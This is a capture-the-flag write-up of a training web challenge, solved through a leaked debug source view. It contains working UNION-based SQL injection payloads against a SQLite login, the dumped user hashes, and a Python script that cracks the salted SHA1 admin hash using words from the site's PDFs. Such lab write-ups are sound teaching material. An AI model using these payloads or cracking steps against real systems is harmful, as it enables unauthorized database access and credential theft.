- Why write the writeup of the 2017 question: Because I did a question on a certain CTF training platform and followed Chybeta's writeup.
First, we were assigned an address and port number, let's take a look:
Clicking on them separately, they all seem to be the same, all redirecting to various English PDFs that I can't understand, so let's follow the process:
-
Source code: Nothing special
-
robots.txt: Found something
-
Analyze the traffic: Since we found something in the previous step with robots.txt, we can skip this step (this is just to illustrate the common ctf web processing three-step process)
We can see a login.php
and an admin.php
login.php
:
admin.php
:
Let's take a look at the source code of login.php
and find a hint:
A to-do item: Remove the ?debug
parameter
Oh~ the author commented that it should be removed, so let's see if it's removed (pretend not to know), and it turns out it's not removed:
And we found that this is the source code of this page:
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
We can see this source code:
-
The
usr
andpw
parameters passed in through POST are not filtered and are used in the SQL query (the database is SQLite, so we should think of the SQLite system table assqlite_master
). -
If the result of the query has a non-empty
id
field, it executes thesetcookie
operation, which inserts thename
field of the query result into the cookie.
Now that we know what the query statement does, we need to prepare for SQL injection to query something. Let's take a look at the original packet format:
-
Construct the POST:
usr=%27 UNION SELECT name, sql from sqlite_master--+&pw=soap
-
The result of the SQL injection is:
SELECT id,name from Users where name='' union select name, sql from sqlite_master-- and password= 'soap'
Theid
value is actually the name of the table (name
), and thename
value obtained is actually the statement used to create the table (sql
).
-
Tips: From this query result, we can see that only the value at the second field is returned.
Decode the URL, convert %2C
to a line break, and get the SQL statement:
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
- From this statement, we know that the current table is the Users table, which has four columns. Combining with the fact that only the value at the second position is returned, we can construct the following injection statements:
usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=soap
By offsetting (i.e., the limit 0,1;limit 1,1;limit 2,1
at the end), we can obtain the following data:
name | password | hint |
---|---|---|
admin | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper?! |
fritze | 54eae8935c90f467427f05e4ece82cf569f89507 | my love is…? |
hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd | the password is password |
- We found that we can crack the sha1 of 2 and 3, but not the sha1 of 1. We have the information of the table, but what about the flag?
Combining with the source code:
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
and the hint: my fav word in my fav paper?!
which means you need to find the favorite word of the author in all the PDFs on the website.
Download all the PDFs on the website, here we use wget for recursive downloading: wget xxx.com -r -np -nd -A .pdf
- -r: recursive processing
- -np: do not recursively go up (url path)
- -nd: do not create the same directory structure as the web site (url path)
- -A type: file type
Then we need to extract all the words from the PDFs and take each one to do the sha1($pass."Salz!") operation. If the value is equal to the sha1 of the admin's password, it is the author's favorite word. Most people use Python to convert PDFs to text and extract text. Here I used a small tool: PDF Shaper Pro
Download from Lanzous
It has the function of converting PDF to text, but there may be some recognition errors and missing characters at line breaks:
But we only need to find one word, so to save time, we can do this:
If we can't find it, we can use a Python script: Link
After solving the text problem, we just need to use the os library to traverse all the text files in the directory, use re to match all the words, and compare them. The script is as follows:
# !/usr/bin/python
# - * - coding:utf-8 - * -
'''
@author: soapffz
@fucntion:
@time: 2018-12-17
'''
import os
import re
import hashlib
def get_words():
txt_name_list = [i for i in os.listdir("Tmp")] # Get all txt names
os.chdir("Tmp") # Switch working directory
words_list = [] # Store all non-repetitive words in all txt files
for i in range(len(txt_name_list)):
with open(txt_name_list[i], 'r')as f:
words = re.findall('[A-Za-z]+', f.read()) # Use regular expressions to match words
for i in words: # The words generated here are a list, which cannot be directly added to words_list, otherwise it will become a two-layer list
if i not in words_list:
words_list.append(i)
return words_list
def find_passwd():
words_list = get_words()
for word in words_list:
sha1_password = hashlib.sha1(
(word + "Salz!").encode()).hexdigest() # Convert to bytes format using encode()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print("Find the password :" + word)
exit()
if __name__ == "__main__":
find_passwd()
We were lucky and found a matching value:
The admin password is: ThinJerboa
Access admin.php
to log in and get the flag:
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
- Article reference link: https://chybeta.github.io/2017/10/22/Hack-lu-CTF-2017-Flatscience-writeup/